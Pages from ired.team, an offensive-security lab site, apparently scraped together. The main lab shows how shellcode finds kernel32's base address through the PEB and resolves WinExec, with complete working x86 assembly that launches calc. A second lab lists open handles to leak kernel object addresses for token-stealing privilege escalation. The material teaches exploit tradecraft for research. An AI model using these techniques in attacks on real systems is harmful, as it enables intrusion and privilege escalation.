without PatchGuard, explore \[\`psscan\`\](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan) and \[\`psxview\`\](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#psxview) from Volatility. ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode.md). # Finding Kernel32 Base and Function Addresses in Shellcode The purpose of this lab is to understand how shellcode finds kernel32 base address in memory of the process it's running in and then uses to find addresses of other functions that it requires in order to achieve its goal. In this lab I will write some assembly to find the kernel32 dll's base address, resolve \`WinExec\` function address in memory and call it to open \`calc.exe\`. ## Finding Kernel32 Base Address It's well known that shellcode usually leverages the following chain of internal Windows OS memory structures in order to resolve the kernel32 base address which I am going to walk through in WinDBG: \`\`\` TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll \`\`\` One important thing to keep in mind is that kernel32.dll is always loaded into the same address for all the processes - regardless if you open a calc.exe, notepad.exe, or any other Windows process. Below shows my program for this lab on the left and another random program on the right - in both cases, the kernel32.dll (and ntdll...) got loaded into the same memory address: !\[\](/files/-LjkO03Sd-6WfDgASDH2) Let's get back to the: \`\`\` TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll \`\`\` ...and go into these with more detail. ### Structures The first important OS structure of the chain is called a Thread Environment Block (TEB) which contains information about the process's thread, including one member that is a pointer to another very important structure called Process Environment Block (PEB, offset 0x30) where information about the process itself (image path, commandline arguments, loaded modules and similar) is stored: \`\`\` dt \_teb \`\`\` !\[\](/files/-LjkT50N2p7EXyfSGZx5) Inside the \`PEB\` structure, there is a member \`Ldr\` which points to a \`PEB\_LDR\_DATA\` structure (offset 0x00c): \`\`\` dt \_peb \`\`\` !\[\](/files/-LjkSIzP30iyzGZzlVXa) \`PEB\_LDR\_DATA\` contains a pointer to \`InMemoryOrderModuleList\` (offset 0x14) that contains information about the modules that were loaded in the process: \`\`\` dt \_PEB\_LDR\_DATA \`\`\` !\[\](/files/-LjkUu-rG-ij4kUUIgme) \`InMemoryOrderModuleList\` points to another structure we're interested in - \`LDR\_DATA\_TABLE\_ENTRY\` even though WinDBG suggests the structure type is \`LIST\_ENTRY\`. As confusing as it may seem at first, this is actually right, since \`InMemoryOrderModuleList\` is a doubly linked list where each list item points to an \`LDR\_DATA\_TABLE\_ENTRY\` structure. Remember, since the shellcode is looking for the kernel32.dll base address, the \`LDR\_DATA\_TABLE\_ENTRY\` is the last structure in the chain of structures it needs to locate. Once the structure is located, the member \`DllBase\` at offset 0x18 stores the base address of the module: \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY \`\`\` !\[\](/files/-LjkVKSfdsks5ThFV3RA) ### Initialized Structures Let's now repeat the same exercise as above, but this time using real memory addresses so we can see how those memory structures look like in a real process with real data. Let's check the \`PEB\` and note the \`Ldr\` pointer (77de0c40): \`\`\` !peb \`\`\` !\[\](/files/-LjkZsDUJBT1-ui-QHIy) We can achieve the same result by overlaying the @$peb address over the PEB structure: \`\`\` dt \_peb @$peb \`\`\` !\[Ldr points to 0x77de0c40\](/files/-LjkYP9N3CG5PM4rAi6S) From the above, we can see that the \`PEB.Ldr\` (\`Ldr\` member is at offset 0x00c) points to an \`PEB\_LDR\_DATA\` structure at 0x77de0c40. We can view the \`PEB\_LDR\_DATA\` structure at 0x77de0c40 by overlaying it with address pointed to by the PEB.Ldr (0xc) structure like so: \`\`\` dt \_PEB\_LDR\_DATA poi(@$peb+0xc) \`\`\` !\[\](/files/-LjkamiDPFpg0d8otKjO) Remember that \`PEB.Ldr\` was pointing to 0x77de0c40. We can double check that what we're doing so far is correct by dereferrencing the pointer @$PEB+0xC which should be equal to 0x77de0c40, which we see it is: \`\`\` ? poi(@$peb+0xc) dt \_PEB\_LDR\_DATA 77de0c40 \`\`\` !\[\](/files/-LjkfALj-5UAOvXpcSKd) Proceeding on with the \`InMemoryOrderModuleList\` pointing to \`Peb.LDR.InMemoryOrderModuleList\`, since we know it's at offset 0x14, we can get it like so: \`\`\` ? poi(poi(@$peb+0xc)+0x14) \`\`\` !\[\](/files/-LjkcWprBB4FGd0DS4dv) ...which tells us that the first \`LDR\_DATA\_TABLE\_ENTRY\` structure is located at 0x00d231d8. If we try looking inside it, we can see that the \`BaseDllName\` indicates an error while reading the memory: \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY 0xd231d8 \`\`\` !\[\](/files/-Ljl8J9fuO725ZIMoRcN) {% hint style="info" %} The reason for the above error is because although \`InMemoryOrderModuleList\` points to an \`LDR\_DATA\_TABLE\_ENTRY\`, we need to keep in mind that it's pointing 8 bytes into the structure itself since the structure is a doubly linked list. See the above screenshot for reference - \`InMemoryOrderLinks\` is at offset 0x8 of the \`LDR\_DATA\_TABLE\_ENTRY\`. {% endhint %} We now know that in order to read the \`LDR\_DATA\_TABLE\_ENTRY\` structure correctly, we need to subtract 8 bytes from the initial pointer 00d231d8: \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY 0xd231d8-8 \`\`\` !\[No reading errors this time\](/files/-Ljl8dM1c0PSsGk7XOP2) Note how \`InMemoryOrderLinks\` now points to 0xd230d0 (which is an ntdll module as seen later) - which is the second module loaded by this process. This means that we can easily walk through \*\*all\*\* the loaded modules, since inspecting \`LDR\_DATA\_TABLE\_ENTRY\` of one module will reveal the address of the structure for the next loaded module in \`InMemoryOrderLinks\` member. To confirm this - if we inspect the 0xd230d0, \`InMemoryOrderLinks\` now points to yet another structure for another module at 0xd235b8 (which as we will later see is the \`LDR\_DATA\_TABLE\_ENTRY\` for the kernel32 module): \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY 0xd230d0-8 \`\`\` !\[\](/files/-Ljl8qNj4V4pboRQF19F) Let's check the 0xd235b8 and note that we finally found the kernel32 base address which is 0x76670000: \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY 0xd235b8-8 \`\`\` !\[\](/files/-Ljl91-NmduQEda\_mQAk) To summarize - if we wanted a one-liner to view the first \`LDR\_DATA\_TABLE\_ENTRY\`, we could view it like so: \`\`\` dt \_LDR\_DATA\_TABLE\_ENTRY poi(poi(@$peb+0xc)+0x14)-8 \`\`\` !\[\](/files/-Ljl9fKqansbR8BOLscJ) Getting the pointer to \`Ldr\` and cross-checking it with !peb: \`\`\` ? poi(poi(@$peb+0xc)+0x14) !peb \`\`\` !\[\](/files/-LjlCBMuiZnkWlPLLwm5) Viewing the first and second \`LIST\_ENTRY\` structures at 00d23d8 and 00d230d0: \`\`\` dt \_list\_entry 00d231d8 dt \_list\_entry 0x00d230d0 \`\`\` !\[\](/files/-LjlDBmnCqzks1C0LeJb) The second \`LIST\_ENTRY\` at 00d230d0 points to 00d235b8 - which is the \`LDR\_DATA\_TABLE\_ENTRY\` for kernel32 module (again doing the same stuff we learned earlier in a different way): \`\`\` dt \_ldr\_data\_table\_entry 0x00d235b8-8 \`\`\` !\[\](/files/-LjlDHr8va-5QLMzo5rL) Bases address of the kernel32.dll as seen above is at 76670000. Note that we can read the value by reading a double-word pointing at the start of \`LDR\_DATA\_TABLE\_ENTRY\` minus the 8 bytes (reminder - because we're 8 bytes into the structure) and adding 18 bytes since this is where the DLLBase member is located in the \`LDR\_DATA\_TABLE\_ENTRY\`: \`\`\` dd 0x00d235b8-8+18 L1 // or dd 0x00d235b8+10 L1 \`\`\` Note that by doing the above, we still get the same DllBase address - 76670000: !\[\](/files/-LjlE2riqSmWzJos7YqJ) ## Finding Kernel32 Address in Assembly Let's try finding the kernel32 dll base address in the process memory using all the information learned above using assembly - exactly as the shellcode would. You will notice that this is where all the offsets of various structures and members come into play: \`\`\`c .386 .model flat, stdcall .stack 4096 assume fs:nothing .code main proc mov eax, \[fs:30h\] ; Pointer to PEB (https://en.wikipedia.org/wiki/Win32\_Thread\_Information\_Block) mov eax, \[eax + 0ch\] ; Pointer to Ldr mov eax, \[eax + 14h\] ; Pointer to InMemoryOrderModuleList mov eax, \[eax\] ; this program's module mov eax, \[eax\] ; ntdll module mov eax, \[eax -8h + 18h\]; kernel32.DllBase mov ebx, 0 ; just so we can put a breakpoint on this main endp end main \`\`\` Below shows a compiled and executed assembly with a highlighted eax register that points to a memory address 76670000, which indicates that we got the base address of the kernel32 using assembly successfully: !\[\](/files/-LjlGOGv3c9ZBtk6gSRi) ## Finding Function Address Once we have the kernel32 base address, we can then loop through all the exported functions of the module to find the function we're interested in (\`WinExec\`) - or in other words - the function we want to call from the shellcode. This process requires a number of steps to be performed which are well known, so let's try and follow them alongside with some visuals and a bit of PE parsing action. See my previous lab about parsing PE files and some terminology on what is Virtual Address (VA) and Relative Virtual Address (RVA) which is used extensively in this exercise: {% content-ref url="/pages/-LQPhLIg2HTVSIbKB2tQ" %} \[Parsing PE File Headers with C++\](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++.md) {% endcontent-ref %} ### Offsets in Tables Before going into the visuals - the below table represents well known offsets of the kernel32 image and what data they contain or point to that we will reference a lot: | Offset | Description | | ----------------------------- | ------------------------------------------------------------------- | | 0x3c into the file | RVA of PE signature | | 0x78 bytes after PE signature | RVA of Export Table | | 0x14 into the Export Table | Number of functions exported by a module | | 0x1c into the Export Table | RVA of Address Table - addresses of exported functions | | 0x20 into the Export Table | RVA of Name Pointer Table - addresses of exported function names | | 0x24 into the Export Table | RVA of Ordinal Table - function order number as listed in the table | ### Offsets in Visuals Let's look at the kernel32.dll file offsets mentioned in the above table through a PE parser so we have an idea of what we're dealing with. ### 0x3c into the File 0x3c into the file contains the RVA of the PE signature. In our case, the RVA for the PE signature is F8: !\[\](/files/-Ljwdqk0GT86z8OT75Oo) Sanity checking - F8 bytes into the file does indeed contain the PE signature 4550: !\[\](/files/-Ljwdb468K3CeRvLbwBu) ### 0x78 after PE Signature F8 + 0x78 = 0x170 bytes into the file as mentioned earlier in the table, points to a RVA of Export Table. In our case the RVA of Export Table is 972c0: !\[\](/files/-Ljwenpv36HQmPRs6qOp) Export Table starts at 972c0: !\[\](/files/-LkJMndrPddlWd1E5bmh) ### 0x14 into the Export Table - Number of Exported Functions 0x972c0 + 0x14 = 0x972d4 RVA contains a value that signifies how many functions kernel32 module exports - 0x643 in my case: !\[\](/files/-LjwjVMQlKdM3LZYV6Gx) ### 0x1c into the Export Table - Address Of Exported Functions 0x972c0 + 0x1c = 0x‭972DC‬ RVA contains an RVA to Exported functions Address Table which in my case is 972e8: !\[\](/files/-LkESxRXNv34KwSolqjE) Indeed at 972e8 we see an RVA for the first exported function: !\[\](/files/-LkETElGJ8R-jcQDRXo0) ### 0x20 into the Export Table - Name Pointer Table 0x972c0 + 0x20 = 0x972e0 RVA contains a pointer to an RVA to exported functions Name Pointer Table - 0x98bf4 in my case: !\[\](/files/-LjwkYHK2CufTCSWgvAO) If we check the Name Pointer Table at 0x98bf4, we can confirm we see RVAs of exported function names: !\[\](/files/-Ljwkm7O0r7nE79tlUdH) ### 0x24 into the Export Table - Functions' Ordinal Table 0x972c0 + 0x24 = 0x972e4 RVA points to an RVA of functions' Ordinal Table, which in my case is 9a500: !\[\](/files/-LjwlvsZN8DPcT4eaMoE) Again, confirming that ordinals are present at RVA 9a500: !\[\](/files/-Ljwm0b2V-Y95R7TodFz) ### Finding WinExec Position in the Name Pointer Table Knowing all of the above, let's try to find a \`WinExec\` function address manually, so we know how to implement it in assembly. Firs of, we would need to loop through the Name Pointer table, read the exported function's name and check if it is == \`WinExec\` and remembering how many iterations it took for us to find the function. It would have taken 0x5ff iterations for me to find the WinExec (0x602 - 0x3 = 0x5ff): !\[\](/files/-Lk5rq4J1BXVMZVDFg-V) Note that: \* we start counting indexes from 0 \* 0x3 was subtracted because the first function in the Name Pointer Table started from 4 as seen below: !\[\](/files/-Lk5t2TE3hIgHRUnEeHi) ### Finding WinExec Ordinal Number In the Ordinal Table (starting at 0x9a500), we can find the WinExec Ordinal RVA with a simple formula. Note that the reason for multiplying the \`WinExec\` location (0x5ff) by two is because each ordinal is 2 bytes in size: $$ OrdinalRVA = 0x9a500 + 0x5ff \\\* 2 = 0x9B0FE $$ !\[\](/files/-Lk61yZE\_C7ZZ-gL7yaj) Now from the \`WinExec\` Ordinal RVA location (9B0FE) we can read 2 bytes and get the actual \`WinExec\` Ordinal which is 0x0600: !\[\](/files/-Lk62kCipfsaqYfhu082) ### Finding WinExec RVA in the Export Address Table To get the RVA of the WinExec function from the Export Address Table, we use a simple formula: $$ WinExecRVA = ExportAddressTableRVA + (Ordinal \\\* 4) $$ which translates to: $$ WinExecRVA = 0x972e8 + (0x600 \\\* 4) = 0x98AE8‬ $$ !\[\](/files/-Lk66AC8ZWIY474Isv7k) From the above screenshot, we know that the RVA of WinExec is 0x5d220. Let's check this in WinDBG by first getting getting the kernel32 base address which is 75690000: !\[\](/files/-Lk67xVWyTMp8LLf2EtN) If we add the \`WinExec\` RVA 0x5d220 to the kernel32 base address 0x75690000, we should land on the WinExec function, so let's try to disassemble that address and also disassemble the kernel32!WinExec symbol to confirm that the assembly instructions match: \`\`\` //disassemble kernel32 base address + WinExec RVA u 75690000+5d220 //disassemble kernel32!WinExec routine u kernel32!WinExec \`\`\` From the below, we can see that the disassembly matches confirming our calculations of \`WinExec\` RVA are correct: !\[\](/files/-Lk68KRFwxVEuxxsqa6s) ## Rinse and Repeat In Assembly We are now ready to start implementing this in assembly. ### 0x3c into the Image As per the visuals earlier that showed that 0x3c into the file is a PE signature, which contains a value F8: !\[\](/files/-Ljwdb468K3CeRvLbwBu) Lines 1-13 are the same as seen earlier - they find the kernel32 dll base address. In line 15 we move kernel32 base address to ebx holding our kernel32 base address. Then we shift that address by 3c bytes, read its contents and move it to eax. After this operation, the eax should hold the value F8, which we see it does: !\[\](/files/-LkE1vpRe6FG0rOHCMwh) Now, we can find the address of PE signature by adding kernel32 base address and the PE signature RVA F8: 75690000 + F8 = 756900F8 and we find the PE signature there: !\[\](/files/-LkE4IfFXLXzI7JT7CD0) ### 0x78 after PE Signature In line 20, we get an RVA of the Export Table by moving the eax register that contains an address of the PE signature by 78 bytes where we find an RVA of the Export Table which is stored in eax = 972C0: !\[\](/files/-LkE9jQRqqrKgVNa-vcV) To find the address of the Export Table, we add kernel32 base address 75690000 and Export Table RVA 972C0 which results in the address 757272C0: !\[\](/files/-LkEFmnS-aAtU50Zz4pT) ### 0x14 into the Export Table - Number of Exported Functions To check if our calculations in assembly are correct at this point, we can add the Export Table address and 0x14 (offset into the Export Table showing how many functions kernel32 module exports) and if we cross-reference the value found there with the results we got via the visual PE parsing approach, we should have 0x643 exported functions: !\[\](/files/-LjwjVMQlKdM3LZYV6Gx) Let's add Export Table address 757272C0 and the offset 0x14, which equals to 0x757272D4. If we check that memory address, we see that indeed we have 0x643 value in there: !\[\](/files/-LkEY0jeIrZm75xbTwh\_) ### 0x1c into the Export Table - Address Of Exported Functions At offset 1c into the Export Table 757272C0, we find an RVA of Exported Functions Address table, which in my case is 000972E8: !\[\](/files/-LkE\_s6jg\_mafYmFJHmD) To verify the calculation is correct - we can inspect the memory at address kernel32 base 75690000 + 0x972e8 = 0x757272E8 where we should see an RVA of the first exported function address which is 20400h as seen in the above screenshot. Upon memory inspection at 0x757272E8, we see that indeed the value at that memory location is 20400h: !\[\](/files/-LkEbFH1iF3joUeqy\_LT) ### 0x20 into the Export Table - Name Pointer Table Same way, we can double check if 757272C0 (address of Export Table) + 0x20 bytes contains an RVA of the exported function names table which is 00098BF4: !\[\](/files/-LkIhSWSwGrdORXPHo8k) Let's get its address now by adding the Name Pointer Table RVA 00098BF4 and kernel32 base address 75690000, which results in 75728BF4 where we can see the name of an RVA of the first exported function: !\[\](/files/-LkIhmMsjWX9VcITNibz) If we follow that address 75690000 + 0x9b1f2, we find the first function name: !\[\](/files/-LkJSI8KGxum3ZgGKeSO) ### 0x24 into the Export Table - Functions' Ordinal Table 757272C0 (address of Export Table) + 0x24 bytes contains an RVA of the exported function Ordinals Table which is 0009A500: !\[\](/files/-LkIiUp3XLcRgVYp7Py\_) Getting the ordinal table address by adding kernel32 base 75690000 + the RVA of ordinal table at 0009A500 we arrive at 0x7572A500. Inspecting it, we indeed see that we're looking at the function Ordinal Table: !\[\](/files/-LkIipRmYGwNT5qVa3Jc) ### Finding WinExec Position in the Name Pointer Table #### Pushing WinExec onto the Stack Now, in order to find the \`WinExec\` position, before we proceed with looping and comparing each function name in the Name Pointer table with the string \`WinExec\`, we actually need to push the string \`WinExec\` to memory first. We need to store it as a sequence of reversed bytes (indiannes). \`WinExec\` in hex is \`57696e45 786563\`. Let's push it to the stack in two pushes. First let's push the bytes \`45 6e 69 57\` - which pushes the \`WinE\` onto the stack: !\[\](/files/-LkF6muwDIa1xbKwXorG) Let's now push the remaining bytes. Remember that we need a null byte at the end to terminate the string. Also, remember that data needs to be pushed onto the stack in reverse order: !\[\](/files/-LkF93HHG29vrXbi8H6r) #### Finding WinExec Location in Name Pointer Table After looping through the exported function Names Table and comparing each function name in there with \`WinExec\`, once \`WinExec\` is found, the loop breaks and the eax contains the number of iterations it took to find the \`WinExec\`. In this case it's 0x5ff - exactly the same number as previously seen when \[doing this exercise manually\](/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode.md#finding-winexec-position-in-the-name-pointer-table): !\[\](/files/-LkFzDM4EEDGldpqbYcm) ### Finding WinExec Ordinal Number Adding Ordinal Table Address 0x7572A500 and \`WinExec\` location 0x5FF multiplied by 2 (an ordinal is 2 bytes in size), results in \`WinExec\` ordinal 0x600: !\[\](/files/-LkG1\_i9O7ig9bJmqxAJ) ### Finding WinExec RVA in the Export Address Table Get the \`WinExec\` RVA from the Export Address Table by multiplying location of the \`WinExec\` 0x5ff by 4 (address is of 4 bytes in size for 32 bit binaries) and adding it to the Export Address Table at 0x757272E8, which results in 0x757272E8 + 5ff\\\*4 = 0x75728AE8 which contains \`WinExec\` RVA value - 5d220: !\[\](/files/-LkG2DwOlyZ-oAoVAmrj) ### Finding WinExec Virtual Address We can now resolve the \`WinExec\` function address' location in the kernel32 dll module by adding the \`WinExec\` RVA 5d220 and kernel32 base address 75690000, which equals to 756ED220: !\[\](/files/-LkG2zfXB9uzzmK8cvoO) ## Calling WinExec Since we now have the address of the \`WinExec\` function, we can invoke it. Firstly, we need to push the 2 arguments that will be consumed by the WinExec: \`\`\`cpp UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow ); \`\`\` We push a null terminated \`calc\` string and the value \`10\` that corresponds to a constant \`SW\_SHOWDEFAULT\` and then invoke the function by calling its address with the keyword \`call\`: !\[\](/files/-LkIvkiwa4jkprIDjXqC) Below shows our assembly in a debugger. The calculator pops after \`call eax\` instruction is executed: !\[\](/files/-LkIwigtVFN8L5jADcv6) {% hint style="info" %} We used \`WinExec\` function in this lab, but shellcode can and usually does use this technique to resolve addresses for \`GetProcAddress\` and \`LoadLibrary\` functions to make resolving other required functions easier. {% endhint %} ## Code \`\`\`c .386 .model flat, stdcall .stack 4096 assume fs:nothing .code main proc ; form new stack frame push ebp mov ebp, esp ; allocate local variables and initialize them to 0 sub esp, 1ch xor eax, eax mov \[ebp - 04h\], eax ; will store number of exported functions mov \[ebp - 08h\], eax ; will store address of exported functions addresses table mov \[ebp - 0ch\], eax ; will store address of exported functions name table mov \[ebp - 10h\], eax ; will store address of exported functions ordinal table mov \[ebp - 14h\], eax ; will store a null terminated byte string WinExec mov \[ebp - 18h\], eax ; will store address to WinExec function mov \[ebp - 1ch\], eax ; reserved ; push WinExec to stack and save it to a local variable push 00636578h ; pushing null,c,e,x push 456e6957h ; pushing E,n,i,W mov \[ebp - 14h\], esp ; store pointer to WinExec ; get kernel32 base address mov eax, \[fs:30h\] ; Pointer to PEB (https://en.wikipedia.org/wiki/Win32\_Thread\_Information\_Block) mov eax, \[eax + 0ch\] ; Pointer to Ldr mov eax, \[eax + 14h\] ; Pointer to InMemoryOrderModuleList mov eax, \[eax\] ; this program's module mov eax, \[eax\] ; ntdll module mov eax, \[eax -8h + 18h\] ; kernel32.DllBase ; kernel32 base address mov ebx, eax ; store kernel32.dll base address in ebx ; get address of PE signature mov eax, \[ebx + 3ch\] ; 0x3c into the image - RVA of PE signature add eax, ebx ; address of PE signature: eax = eax + kernel32 base -> eax = 0xf8 + kernel32 base ; get address of Export Table mov eax, \[eax + 78h\] ; 0x78 bytes after the PE signature is an RVA of Export Table add eax, ebx ; address of Export Table = Export Table RVA + kernel32 base ; get number of exported functions mov ecx, \[eax + 14h\] mov \[ebp - 4h\], ecx ; store number of exported functions ; get address of exported functions table mov ecx, \[eax + 1ch\] ; get RVA of exported functions table add ecx, ebx ; get address of exported functions table mov \[ebp - 8h\], ecx ; store address of exported functions table ; get address of name pointer table mov ecx, \[eax + 20h\] ; get RVA of Name Pointer Table add ecx, ebx ; get address of Name Pointer Table mov \[ebp - 0ch\], ecx ; store address of Name Pointer Table ; get address of functions ordinal table mov ecx, \[eax + 24h\] ; get RVA of functions ordinal table add ecx, ebx ; get address of functions ordinal table mov \[ebp - 10h\], ecx ; store address of functions ordinal table ; loop through exported function name pointer table and find position of WinExec xor eax, eax xor ecx, ecx findWinExecPosition: mov esi, \[ebp - 14h\] ; esi = pointer to WinExec mov edi, \[ebp - 0ch\] ; edi = pointer to exported function names table cld ; https://en.wikipedia.org/wiki/Direction\_flag mov edi, \[edi + eax\*4\] ; get RVA of the next function name in the exported function names table add edi, ebx ; get address of the next function name in the exported function names table mov cx, 8 ; tell the next-comparison instruction to compare first 8 bytes repe cmpsb ; check if esi == edi jz WinExecFound inc eax ; increase the counter cmp eax, \[ebp - 4h\] ; check if we have looped over all the exported function names jne findWinExecPosition WinExecFound: mov ecx, \[ebp - 10h\] ; ecx = ordinal table mov edx, \[ebp - 8h\] ; edx = export address table ; get address of WinExec ordinal mov ax, \[ecx + eax \* 2\] ; get WinExec ordinal mov eax, \[edx + eax \* 4\]; get RVA of WinExec function add eax, ebx ; get VA of WinExec jmp InvokeWinExec InvokeWinExec: xor edx, edx ; null byte push edx push 636c6163h ; push calc on the stack mov ecx, esp ; ecx = calc push 10 ; uCmdSHow = SW\_SHOWDEFAULT push ecx ; lpCmdLine = calc call eax ; call WinExec ; clear stack add esp, 1ch ; local variables add esp, 0ch ; pushes for ebp and WinExec add esp, 4h ; pushes for WinExec invokation pop ebp ret main endp end main \`\`\` ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-all-open-handles-and-kernel-object-address-from-userland.md). # Listing Open Handles and Finding Kernel Object Addresses It's possible to enumerate all open handles (processes, files, mutexes, keys, sections, etc) on a system (no admin rights required), which means it is possible to get a virtual address of any kernel object (for example \`EPROCESS\` for a process object) in the kernel space from user space. Being able to locate a virtual address of a kernel object (like \`EPROCESS\`) is useful in kernel exploitation. For example, if you compromise a machine and discover there is a vulnerable driver, through which you can read/write kernel memory from userland, you could exploit it for privilege escalation by locating a kernel object \`EPROCESS\` of a privileged process, for example \`winlogon.exe\`, stealing its security token and applying it to your low privileged \`cmd.exe\` process to gain a shell with \`SYSTEM\` privileges. A list of all the open handles on the system is retrieved by using a \`NtQuerySystemInformation\` API and a couple of undocumented, but well known structures \`SYSTEM\_HANDLE\_INFORMATION\` and \`SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO\`. ## Code Below code retrieves all handles opened by the \`SYSTEM\` process (PID 4): {% hint style="danger" %} \* Below code does not handle errors \* \`SystemHandleInformationSize\` is a hardcoded value, which you should not do in production code. Instead, you should: \* start with an arbitrary size for \`SystemHandleInformationSize\` \* call \`NtQuerySystemInformation\` in a loop, until it no longer returns \`0xc0000004\` (\`STATUS\_INFO\_LENGTH\_MISMATCH\`) \* if \`0xc0000004\` is returned, increase \`SystemHandleInformationSize\` {% endhint %} \`\`\`cpp #include #include #include #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 \* 1024 \* 2 using fNtQuerySystemInformation = NTSTATUS(WINAPI\*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); // handle information typedef struct \_SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO, \*PSYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO; // handle table information typedef struct \_SYSTEM\_HANDLE\_INFORMATION { ULONG NumberOfHandles; SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO Handles\[1\]; } SYSTEM\_HANDLE\_INFORMATION, \*PSYSTEM\_HANDLE\_INFORMATION; int main() { ULONG returnLenght = 0; fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); PSYSTEM\_HANDLE\_INFORMATION handleTableInformation = (PSYSTEM\_HANDLE\_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP\_ZERO\_MEMORY, SystemHandleInformationSize); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght); for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO handleInfo = (SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO)handleTableInformation->Handles\[i\]; if (handleInfo.UniqueProcessId == 4) { printf\_s("Handle 0x%x at 0x%p, PID: %x\\n", handleInfo.HandleValue, handleInfo.Object, handleInfo.UniqueProcessId); } else { break; } } return 0; } \`\`\` {% hint style="info" %} \*\*Remember\*\*\\ The above code could be easily modified to find an object's location in kernel given its handle. {% endhint %} ## Validation Let's see if the code above lists out the handles and the object addresses those handles point to in the kernel memory correctly. If we compile and run the code, we will get a list of all the handles for the process with PID 4: !\[\](/files/-MEh4UsPCMbmpzaLbAEv) We can cross-check and ensure that our listed handles are accurate with Process Hacker by inspecting the \`Handles\` tab of the \`SYSTEM\` process (PID 4). Let's check the first handle 0x4: !\[\](/files/-MEh7mkN8mLmi3T-sGSa) The above shows: \* in green - handle id (0x4) \* in blue - process id (4) of the process which has the handle 0x4 opened (SYSTEM process has a handle to itself) \* in red - object's (pointed to by the handle) location in kernel memory (\`0xffff87077c882300\`) We can easily check the object at \`0xffff8f077c882300\` in WinDBG: \`\`\` !object 0xffff8f077c882300 \`\`\` The above command indicates that \`0xffff8f077c882300\` is a valid object address and it's of type Process: !\[Output of !object 0xffff8f077c882300\](/files/-MEh9kiDG0ofMPk05UvN) We can confirm \`0xffff8f077c882300\` is a process object by using a \`!process\` command in WinDBG: \`\`\` !process 0xffff8f077c882300 0 \`\`\` Below confirms that it's indeed a process object: \* in red - process object location in kernel memory (0xffff8f077c882300) \* in blue - process id (4) \* in lime - process name (system) !\[Output of !process 0xffff8f077c882300 0\](/files/-MEhAcOSs6NU0Nxg\_C5Y) Finally, we can overlay the \`\_EPROCESS\` over \`ffff8f077c882300\` and print the \`UniqueProcessId\` and \`ImageFileNames\`, that again confirm it's a \`SYSTEM\` process with PID 4: \`\`\` dt \_eprocess ffff8f077c882300 uniqueprocessid imagefilename \`\`\` !\[\](/files/-MEhC79yx7zkC1rtB6JJ) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the 